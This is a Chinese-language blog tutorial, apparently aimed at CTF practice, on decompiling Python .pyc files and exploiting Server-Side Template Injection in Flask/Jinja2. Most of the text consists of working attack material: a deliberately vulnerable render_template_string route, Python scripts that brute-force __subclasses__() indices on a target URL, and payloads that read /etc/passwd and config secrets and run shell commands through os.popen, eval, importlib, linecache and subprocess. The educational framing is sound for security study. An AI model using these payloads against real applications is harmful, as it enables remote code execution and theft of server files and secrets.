WEB攻防-Python-PYC 反编译&CTF 与 CMS-SSTI 模版注入

癞皮狗不赖皮 2024-06-13 10:33:07 阅读 98

反编译pyc字节码文件

pyc文件是py文件编译后生成的字节码文件(byte code),pyc文件经过python解释器最终会生成机器码运行。因此pyc文件是可以跨平台部署的,类似Java的.class文件,一般py文件改变后,都会重新生成pyc文件。

真题附件:http://pan.baidu.com/s/1jGpB8DS

反编译平台:

https://tool.lu/pyc/ 

http://tools.bugscaner.com/decompyle/

反编译工具:https://github.com/wibiti/uncompyle2

一般在CTF上,真实上很难遇到。类似.class文件等,PHP可以直接打包,但是.net和.class,.pyc需要解密才能得到源代码。

在学习SSTI漏洞利用之前,先了解flask框架与魔术方法的使用

Flask框架基础

 装饰器@route路由

使用route()装饰器告诉Flask 什么样的URL能触发函数。一个路由绑定一个函数。

from flask import flask app = Flask(__name__)@app.route('/')def test() return 123@app.route('/index/')def hello_word(): return 'hello word'if __name__ == '__main__': app.run(port=5000)#结果:#访问 http://127.0.0.1:5000/会返回123,但是 访问http://127.0.0.1:5000/index则会返回hello word

@app.route('/')的时候,在之前需要定义app = Flask(__name__)不然会报错,因为这个装饰器依赖于 Flask 应用实例,Flask(__name__)用于创建一个新的 Flask web 应用实例

是一个带有动态部分的 URL 路由。在这个例子中,<username> 是一个变量部分,它允许 URL 匹配任何包含该位置参数的字符串。

from flask import Flask app = Flask(__name__) @app.route("/<username>") def hello_user(username): return "user:%s" % username if __name__ == "__main__": app.run(debug=True)

渲染模版方法与Jinja2 模板引擎

render_template() 是用来渲染一个指定的文件的。

render_template_string则是用来渲染一个字符串的。

通过这两个函数将需要渲染的值传入到模板中

假设我们现在有一个index.html的模板

<html> <head> <title>{ {title}}</title> </head> <body> <h1>Hello, { {name}}!</h1> </body></html>

使用render_template() / render_template_string()渲染时,只需传入title和name两个参数即可

from flask import Flask, request,render_template,render_template_stringapp = Flask(__name__)@app.route('/') def index(): return render_template("index.html",title='Home',name='user')if __name__ == '__main__': app.run(port=5000)

注意上面代码我们手动传值的写死了的,所以他是安全的,但是如果,我们把传值的机会给用户,下面代码通过request.args.get('id')接收用户输入的id值传入到模版中渲染,并且直接使用 Python 的字符串格式化来处理id

from flask import Flask, request,render_template,render_template_string@app.route('/test')def test(): id = request.args.get('id') html = ''' <h1>%s</h1> '''%(id) return render_template_string(html)if __name__ == '__main__': app.run(port=5000)

 而这时假设用户通过id传入一个恶意代码,就可能造成代码执行等问题,如id=<script>alert(111);</script>会把传入的js脚本执行

将上面代码稍微改动,使用Jinja2 模板引擎默认会对变量进行 HTML 转义,以防止跨站脚本攻击(XSS)。这意味着如果变量中包含 HTML 标签或特殊字符,它们将被转换为相应的 HTML 实体,从而不会在浏览器中作为 HTML 代码执行。

语法:

{ { some_variable|safe }}

some_variable 的内容将不会被转义,而是直接输出为 HTML。但务必谨慎使用 |safe 过滤器,因为它会使你的应用程序更容易受到 XSS 攻击。只有在你完全信任该变量的内容时,才应该使用它。

{ { some_variable|escape }}

escape 过滤器用于显式地对变量进行转义,默认选项

例如,如果你有一个包含 <> 字符的变量,Jinja2 会将这些字符转换为 &lt;&gt; 实体。

@app.route('/test/')def test(): code = request.args.get('id') return render_template_string('<h1>{ { code }}</h1>',code=code)

继承关系与魔法方法

__class__  #查看当前类型的所属对象

__base__  #沿着父子类关系往上走一个

__bases__  #查看该类的所有直接父类

__mro__  #查找当前类对象的所有继承类

__subclasses__()  #查找父类下的所以子类

__init__  #查看类是否已经加载这模块到内存中,如果出现wrapper字眼,说明没有

__globals__  #返回当前对象的全部全局变量,有哪些可用的方法函数

示例:

class A: passclass B(A): passclass C(A): passclass D(B, C): pass

通过继承关系去执行到其他类可利用模块、函数

我们都知道,object是所有类的基类,那么假设我们可以获取object的所有子类,就可以利用其子类的方法

可以看到__subclasses__()返回一个列表,我们可以通过下标来找到是否存在一些可利用的模块和函数

简单了解什么是SSTI

SSTI,即服务器端模板注入(Server-Side Template Injection),是一种注入攻击,漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,没有严格控制对用户的输入,使用了危险的模板,导致执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。

而flask是基于python开发的一种web服务器,那么也就意味着如果用户可以和flask进行交互的话,就可以执行python的代码,比如eval,system,file,os等

检查是否存在SSTI漏洞

-输入的数据会被浏览器利用当前脚本语言调用解析执行

判断SSTI类型

有响应,正常执行

无响应,无法执行

SSTI常用注入模块利用

文件读取

查找子类的可利用模块名

_frozen_importlib_external.FileLoader

<class '_frozen_importlib_external.FileLoader'>

 利用python脚本循环匹配子类,代码原理遍历查找__subclasses__()函数找出的所有子类,匹配到就返回i,i就是下标

import requestsurl = input('输入URL:')for i in range(500): data = {"注入变量名": "{ {().__class__.__base__.__subclasses__()[" + str(i) + "]}}"} try: response = requests.post(url, data=data) if response.status_code == 200: if '_frozen_importlib_external.FileLoader' in response.text: print(i) except: pass

FileLoader的利用

["get_data"](0,"/etc/passwd")

调用get_data方法,传入参数0和文件路径

假设python脚本获取到下标为79,继续往下构造playload

{ { ().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

前半段找出_frozen_importlib_external.FileLoader模块,后半段利用该模块下的函数读文件

在CTF中有一些会把FLAG放在配置文件里,通过读取配置文件获取FLAG

{ {config}}

{ {url_for.__globals__['current_app'].config.FLAG}}

{ {get_flashed_messages.__globals__['current_app'].config.FLAG}}

内建函数eval执行命令

eval会把传进的值当做python代码执行,__builtins__包含了 Python 解释器启动时自动导入的所有内置函数和异常

通过__builtins__查找内建函数,比如abs(), len(), open(), range() 等都是 __builtins__ 模块的一部分,同样是通过脚本遍历找到存在 __builtins__ 模块并存在eval函数

import requestsurl = input('输入URL:')for i in range(500): data = {"注入变量名": "{ {().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"} try: response = requests.post(url, data=data) if response.status_code == 200: if 'eval' in response.text: print(i) except: pass

假设python脚本获取到下标为79,继续往下构造playload,导入os模块执行文件读取

 { {().__class__.__base__.__subclasses__()[79].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /ect/passwd").read()')}}

popen()执行一个shell以运行命令来开启一个进程,执行cat /etc/passwd(system模块没有回显)

OS模块执行命令

在其他函数模块中直接调用OS模块

通过config,调用OS

{ {config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

通过url_for,调用OS

{ {url_for.__globals__.os.popen('whoami').read()}}

在已经加载OS模块的子类里直接调用OS模块

{ {''.__class__.__bases__[0].__subclasses__[199].__init__.__globals__['os'].popen("whoami").read()}}

通过{ {self.__dict__.TemplateReference__context.keys()}}查找Flask内置函数和内置对象,根据内置函数和内置对象直接使用.__globals__查看是否存在os,如{ {lipsum.__globals}}

通过python脚本查找子类下是否存在os.py

import requestsurl = input('输入URL:')for i in range(500): data = {"注入变量名": "{ {().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"} try: response = requests.post(url, data=data) if response.status_code == 200: if 'os.py' in response.text: print(i) except: pass

importlib类执行命令

可以加载第三方库,使用load_module加载os(用的不多)

python脚步查找_frozen_importlib.Builtinlmporter

import requestsurl = input('输入URL:')for i in range(500): data = {"注入变量名": "{ {().__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"} try: response = requests.post(url, data=data) if response.status_code == 200: if '_frozen_importlib.Builtinlmporter' in response.text: print(i) except: pass

找到模块下标后,假设是69,继续构建playload

{ {().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("whoami").read()}}

linecache函数执行命令

linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以可以利用这个linecache函数去执行命令

{ {[].__class__.__base__.__subclasses__()[69].__init__.__globals__["linecache"]["os"].popen("whoami").read()}}

python脚步类似

subprocess.Popen类执行命令

从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值

subprocess意在替代其他几个老的模块或者函数,比如os.system、os.popen等函数

python脚本查找subprocess.Popen

import requestsurl = input('输入URL:')for i in range(500): data = {"注入变量名": "{ {().__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"} try: response = requests.post(url, data=data) if response.status_code == 200: if 'subprocess.Popen' in response.text: print(i) except: pass

获取到下标后,playload的构造和上面的有点不一样

{ {().__class__.__bases__[0].__subclasses__()[155]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。